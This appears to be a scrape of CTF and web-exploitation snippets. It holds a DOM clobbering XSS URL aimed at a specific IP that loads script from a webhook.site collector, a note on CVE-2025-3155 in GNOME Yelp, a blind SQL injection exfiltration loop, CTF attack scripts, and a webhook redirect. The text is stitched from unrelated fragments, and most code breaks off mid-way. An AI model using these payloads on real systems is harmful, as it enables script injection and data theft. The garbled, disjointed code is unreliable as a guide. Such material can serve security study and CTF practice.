Clobbering document.currentScript.
if (!e && t && (t.currentScript && "SCRIPT" === t.currentScript.tagName.toUpperCase() && (e = t.currentScript.src),
http://34.170.146.252:25903/?markdown=%3C/textarea%3E%3C/form%3E%3Cscript%20src=%22https://webhook.site/ec8dae46-b8ee-44a7-a4a8-d065f047ed60/%22%3E%3C/script%3E%3Cform%20name=%22currentScript%22%3E%3C/form%3E
CVE-2025-3155 affects Yelp which is The Gnome's user help application. It's installed by default on Ubuntu desktop.
A URI scheme is the part of a Uniform Resource Identifier (URI) that identifies a protocol or a specific application (steam://run/1337) that should handle the resource identified by the URI. It's the part that comes before the colon (://).
| #!/usr/bin/env python3 | |
| import requests | |
| target = 'http://bluesocial.chal.perfect.blue:25005' | |
| s = requests.session() | |
| s.post(f'{target}/login',data={'username':'home'}) | |
| s.post(f'{target}/user/update',data={'bio':""" | |
| <!DOCTYPE html> | |
| <html lang='en'> | |
| <head> |
| <a id=f >sdf</a> | |
| <div id=t > | |
| </div> | |
| <script> | |
| function addFrame(src,h){ | |
| let el = document.createElement('iframe') | |
| el.src = src | |
| el.onload = h | |
| t.innerHTML = '' |
| ```html | |
| <script> | |
| const target = 'https://0.0.0.0/api/food/555??=`in()*?;select%20/*--%20%27&b%20%271*/%271%27from%20flag%20where%20randomblob((CASE%20WHEN%20(SUBSTR((SELECT%20flag%20FROM%20flag),IDX,1)%3d%27CHR%27)%20THEN%205000000%20ELSE%201%20END))--=dfdf' | |
| const alphabet = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c' | |
| var flag = '' | |
| async function atk(){ | |
| let tbl = [] | |
| for(let i=0;i<alphabet.length;i++){ |
| #!/usr/bin/env python3 | |
| # import requests_ as requests | |
| # from requests_.auth import HTTPDigestAuth | |
| # url = 'http://localhost:9990/management-upload' | |
| # r = requests.post(url,headers={'Origin':'http://localhost:9990'},auth=HTTPDigestAuth('admin', 'admin')) | |
| # print(r.text) | |
| import _socket | |
| import math | |
| import hashlib |
| <?php | |
| function conv($l){ | |
| $g = unpack("C*", pack("Q",$l)); | |
| $r = ""; | |
| for($i=0;$i<8;$i++){ | |
| if($g[$i] != 0){ | |
| $r.= chr($g[$i]); | |
| } | |
| } | |
| return $r; |
| <html> | |
| <head> | |
| <title>rem rem rem</title> | |
| </head> | |
| <body> | |
| <div id="atk"> | |
| </div> | |
| <script> | |
| // const TARGET = "http://localhost:8000" |
| <script> | |
| document.location = "https://webhook.site/01b6b49c-2e31-4fa4-8e0d-f87f208586e4" | |
| </script> |